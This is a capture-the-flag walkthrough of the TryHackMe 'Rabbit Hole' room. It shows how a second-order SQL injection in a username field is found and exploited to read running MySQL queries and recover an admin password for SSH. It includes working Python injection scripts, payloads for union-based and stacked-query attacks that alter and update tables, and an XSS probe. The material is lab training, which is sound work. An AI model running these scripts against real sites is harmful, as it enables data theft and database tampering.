TryHackMe: Rabbit Hole
Rabbit Hole was a room about exploiting a second-order SQL injection vulnerability to extract the currently running queries from the database. The goal was to discover a password embedded in a SQL query and use it with SSH
to gain a shell and capture the flag.
Initial Enumeration
Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.104.157
Nmap scan report for 10.10.104.157
Host is up (0.081s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.59 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Your page title here :)
|_http-server-header: Apache/2.4.59 (Debian)
There are two ports open.
- 22 (
SSH
) - 80 (
HTTP
)
Web 80
Looking at http://10.10.104.157/
, we are greeted with a page containing links to register and login.
We can register an account at http://10.10.104.157/register.php
.
And we can login via http://10.10.104.157/login.php
. While logging in, we notice an interesting note:
There are anti-bruteforce measures in place, implemented with database queries.
Given the note and the fact that login attempts always take more than 5 seconds, the application is likely using SLEEP(5)
in the login query.
Discovering the SQL Injection
After logging in, we arrive at a page showing the last login times for users. Interestingly, the admin
user logs into the application every minute.
In challenges, such automation often hints at a potential XSS
vulnerability. Since the username is the only user-controlled input reflected on the page, we try registering and logging in with the following username:
1
<img src="http://10.11.72.22/test.jpg" />
The good news is that not only does our XSS
payload work, but we can also see an error from the MySQL
server. However, on our web server, we only see our machine requesting the image file from the XSS
payload and nothing from the admin
user.
Since there were no issues during registration or login, and the "
character in our payload only caused problems on the last logins page, this suggests a second-order SQL injection vulnerability. It seems the application incorrectly handles the username when fetching the last login records.
Extracting Data
Basic Automation for SQL Injection
Since registering a user, logging in, and fetching the last logins page manually is time-consuming, we can write a simple python
script to automate the process.
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
import requests
import sys
url_base = sys.argv[1]
payload = sys.argv[2]
s = requests.session()
s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})
r = s.get(url_base)
print(r.text)
Using the script to test for union-based SQL injection, we confirm that it works.
1
2
3
4
5
$ ./sqli_automate.py 'http://10.10.104.157/' '" UNION SELECT 1;#'
...
<thead><th>User 6 - " UNION SELECT 1;# last logins</th></thead><tbody>
SQLSTATE[21000]: Cardinality violation: 1222 The used SELECT statements have a different number of columns</tbody></table>
...
Enumerating the column count in the query, we discover that there are two columns, with the second column being reflected in the output.
1
2
3
4
5
$ ./sqli_automate.py 'http://10.10.104.157/' '" UNION SELECT 1,2;#'
...
<thead><th>User 10 - " UNION SELECT 1,2;# last logins</th></thead><tbody>
<tr><td>2</td></tr>
...
Since we have a working payload, we can begin enumerating the database, starting with the database names.
1
2
3
4
5
$ ./sqli_automate.py 'http://10.10.104.157/' '" UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata;#'
...
<thead><th>User 11 - " UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata;# last logins</th></thead><tbody>
<tr><td>information_sche</td></tr>
...
When attempting to extract data from the database, we encounter a problem. Although the application displays the second column in our query, it only shows the first 16 characters.
Enumerating the Database
We can address this problem by modifying our script to send our payload in a loop, extracting 16 characters at a time using the SUBSTR
function in MySQL. Additionally, we can use bs4
to parse the response and print only the part we are interested in.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
import requests
import sys
from bs4 import BeautifulSoup
url_base = sys.argv[1]
payload = sys.argv[2]
index = 1
while True:
sqli_payload = f'" UNION SELECT 1,SUBSTR(({payload}), {index}, 16);#'
s = requests.session()
s.post(url_base + "register.php", data={"username": sqli_payload, "password": "jxf", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": sqli_payload, "password": "jxf", "login": "Submit Query"})
r = s.get(url_base)
soup = BeautifulSoup(r.text, "html.parser")
tables = soup.find_all("table", class_="u-full-width")
output = tables[1].find("td").get_text()
print(output, flush=True, end="")
if len(output) < 16:
break
index += 16
print()
Running the script, we are able to discover the database names: information_schema
and web
.
1
2
$ ./sqli_automate2.py 'http://10.10.104.157/' 'SELECT group_concat(schema_name) FROM information_schema.schemata'
information_schema,web
Extracting the table names from the web
database, we find two tables: users
and logins
.
1
2
$ ./sqli_automate2.py 'http://10.10.104.157/' 'SELECT group_concat(table_name) FROM information_schema.tables where table_schema="web"'
users,logins
Extracting the column names for the users
table, we find four columns: id
, username
, password
, and group
.
1
2
$ ./sqli_automate2.py 'http://10.10.104.157/' 'SELECT group_concat(column_name) FROM information_schema.columns where table_schema="web" and table_name="users"'
id,username,password,group
Extracting the values from the users
table:
Since every payload creates a user and we know that the first user we created had the
id
of 4, we are only extracting the first three users.
Additionally, we escape the
group
column name with`
because it is a reserved word in MySQL.
1
2
3
4
$ ./sqli_automate2.py 'http://10.10.104.157/' 'SELECT group_concat(id,":",username,":",password,":",`group` SEPARATOR "\n") FROM web.users where id<4'
1:admin:0e3ab8e45ac1163c2343990e427c66ff:admin
2:foo:a51e47f646375ab6bf5dd2c42d3e6181:guest
3:bar:de97e75e5b4604526a2afaed5f5439d7:guest
While we are able to crack the hashes for the foo
and bar
users, they are not helpful, and we cannot crack the hash for the admin
user.
There is still the logins
table that we have not checked. However, upon extracting the column names, we see there are only two: username
and login_time
; neither of these is useful.
1
2
$ ./sqli_automate2.py 'http://10.10.104.157/' 'SELECT group_concat(column_name) FROM information_schema.columns where table_schema="web" and table_name="logins"'
username,login_time
Extracting the Current Queries
Union-Based SQL Injection
While there is nothing particularly useful in the web
database, we still have access to the information_schema
database. One table in the information_schema
that can greatly assist us is PROCESSLIST
.
Using the PROCESSLIST
table, we can query the currently running queries in the database. Since the admin
user logs into the site every minute and there is a call to the SLEEP
function in the login query, we have a five-second window every minute to read the login query from the table. If the password hashing for the user is not done in the PHP
code but is instead passed to MySQL using the MD5
function, we might be able to capture the password for the admin
user.
However, there is one more hurdle to overcome. Currently, we are registering and logging in with a new account for each 16-character block, which takes as long as the admin
user’s login query to run. With our current approach, we would only be able to extract the first 16 characters of the login query, if we’re lucky.
Fortunately, our payload to extract the data does not execute while we are registering or logging in; it runs when we visit the last logins page. To solve this problem, we can modify our script once more, this time registering and logging in to the accounts beforehand and continuously extracting data by making requests to the last logins page with the already logged-in accounts afterward.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
import requests
import sys
from bs4 import BeautifulSoup
import threading
import time
url_base = sys.argv[1]
payload = sys.argv[2]
sessions = {}
results = {}
def create_and_login(i, sqli_payload):
s = requests.session()
s.post(url_base + "register.php", data={"username": sqli_payload, "password": "jxf", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": sqli_payload, "password": "jxf", "login": "Submit Query"})
sessions[i] = s
return
def fetch_query_result(i):
r = sessions[i].get(url_base)
soup = BeautifulSoup(r.text, "html.parser")
tables = soup.find_all("table", class_="u-full-width")
output = tables[1].find("td").get_text()
results[i] = output
return
threads = []
for i in range(15):
sqli_payload = f'" UNION SELECT 1, SUBSTR(({payload}), {i * 16 + 1}, 16);#'
thread = threading.Thread(target=create_and_login, args=(i, sqli_payload))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
while True:
threads = [threading.Thread(target=fetch_query_result, args=(i,)) for i in range(15)]
for thread in threads:
thread.start()
for thread in threads:
thread.join()
# check that we are not missing any part of the result
if all([len(results[i]) <= len(results[i - 1]) for i in range(1, 15)]):
result = "".join([results[i] for i in range(0, 15)])
if len(result) > 16:
print(result)
sys.exit(0)
time.sleep(1)
Running the script, we successfully discover the password for the admin
user.
We use
WHERE INFO_BINARY NOT LIKE "%INFO_BINARY%"
to filter out our own query that extracts the data.
1
2
$ ./sqli_automate3.py 'http://10.10.104.157/' 'SELECT INFO_BINARY FROM information_schema.PROCESSLIST WHERE INFO_BINARY NOT LIKE "%INFO_BINARY%" LIMIT 1'
SELECT * from users where (username= 'admin' and password=md5('fE[REDACTED]0Q') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2
While the script works most of the time, it occasionally captures queries other than the login query. If you receive junk or different output, try running it again.
Stacked Queries
While the above method works well, there is another approach—albeit more intrusive—that we can use to extract current queries without the 16 character limit.
The username field is not only vulnerable to union-based
attacks, but it also supports stacked queries
, which we can confirm with a payload like this:
" UNION SELECT 1,2;DELETE FROM web.logins WHERE username="admin";#
As we can see, we are able to delete the last login times for the admin
user each time we make a request to the last logins page.
Since both the id
and username
fields from the users
table are reflected on the page, and we are using the username
field for our payload, we can utilize the id
field to extract data from the database.
This requires us to first modify the table and change the data type for id
column from integer to string. After that, we can update the id
field in the table with the currently running queries. For this, we can use the following script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
import requests
import re
import time
import sys
url_base = sys.argv[1]
# modify the data type for the id column
s = requests.session()
payload = f'" UNION SELECT 1,2; ALTER TABLE web.users MODIFY id VARCHAR(255); ALTER TABLE web.users DROP PRIMARY KEY;#'
s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})
s.get(url_base)
# create and log in with an account to update the id column with the current queries if it is not empty
s = requests.session()
payload = f'" UNION SELECT 1,2; UPDATE web.users SET id=(SELECT IFNULL(GROUP_CONCAT(INFO_BINARY),"1") FROM information_schema.PROCESSLIST WHERE INFO_BINARY NOT LIKE "%INFO_BINARY%") WHERE username="admin";#'
s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})
# constantly update the id field by fetching the last logins page and if it is not set to 1, print it and exit
while True:
r = s.get(url_base)
if "User 1 - admin" not in r.text:
print(re.search(r"User (.*) - admin last logins", r.text).group(1))
# after successful extraction, clean up the database
payload = f'" UNION SELECT 1,2; DELETE FROM web.users WHERE username LIKE "%UNION SELECT 1,2%"; UPDATE web.users SET id="1" WHERE username="admin"; ALTER TABLE web.users MODIFY id INT PRIMARY KEY AUTO_INCREMENT;#'
s = requests.session()
s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})
s.get(url_base)
break
time.sleep(1)
Running the script, we are able to extract the login query for the admin
user and discover the password.
1
2
$ ./sqli_stacked_queries.py 'http://10.10.104.157/'
SELECT * from users where (username= 'admin' and password=md5('fE[REDACTED]0Q') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2
Shell as admin
Using the discovered password, we can SSH into the box as the admin
user and read the flag at /home/admin/flag.txt
.
1
2
3
4
5
6
$ ssh admin@10.10.104.157
...
admin@ubuntu-jammy:~$ id
uid=1002(admin) gid=118(admin) groups=118(admin)
admin@ubuntu-jammy:~$ wc -c /home/admin/flag.txt
50 /home/admin/flag.txt
After obtaining a shell, you can escalate to the
root
user withsudo
to be able to read the source code for the web application at/root/sqlinception/web/
.